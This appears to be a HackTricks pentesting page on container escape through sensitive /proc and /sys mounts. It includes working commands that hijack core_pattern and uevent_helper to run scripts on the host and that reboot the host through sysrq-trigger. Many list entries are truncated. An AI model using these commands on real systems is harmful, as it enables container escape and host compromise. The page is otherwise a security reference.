Search K
Appearance
Appearance
Other ways to support HackTricks:
The exposure of /proc
and /sys
without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting -v /proc:/host/proc
can bypass AppArmor protection due to its path-based nature, leaving /host/proc
unprotected.
You can find further details of each potential vuln in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
/proc/sys
โThis directory permits access to modify kernel variables, usually via sysctl(2)
, and contains several subdirectories of concern:
/proc/sys/kernel/core_pattern
โDescribed in core(5).
Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe |
.
Testing and Exploitation Example:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
/proc/sys/kernel/modprobe
โDetailed in proc(5).
Contains the path to the kernel module loader, invoked for loading kernel modules.
Checking Access Example:
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
/proc/sys/vm/panic_on_oom
โ/proc/sys/fs
โ/proc/sys/fs/binfmt_misc
โ/proc/sys/fs/binfmt_misc/register
is writable./proc
โ/proc/config.gz
โCONFIG_IKCONFIG_PROC
is enabled./proc/sysrq-trigger
โAllows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
Rebooting Host Example:
echo b > /proc/sysrq-trigger # Reboots the host
/proc/kmsg
โ/proc/kallsyms
โkptr_restrict
set to 1
or 2
./proc/[pid]/mem
โ/dev/mem
./proc/kcore
โ/proc/kmem
โ/dev/kmem
, representing kernel virtual memory./proc/mem
โ/dev/mem
, representing physical memory./proc/sched_debug
โ/proc/[pid]/mountinfo
โrootfs
or image./sys
Vulnerabilities โ/sys/kernel/uevent_helper
โUsed for handling kernel device uevents
.
Writing to /sys/kernel/uevent_helper
can execute arbitrary scripts upon uevent
triggers.
Example for Exploitation: %%%bash
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent
cat /output %%%
/sys/class/thermal
โ/sys/kernel/vmcoreinfo
โ/sys/kernel/security
โsecurityfs
interface, allowing configuration of Linux Security Modules like AppArmor./sys/firmware/efi/vars
and /sys/firmware/efi/efivars
โ/sys/kernel/debug
โdebugfs
offers a "no rules" debugging interface to the kernel.Other ways to support HackTricks: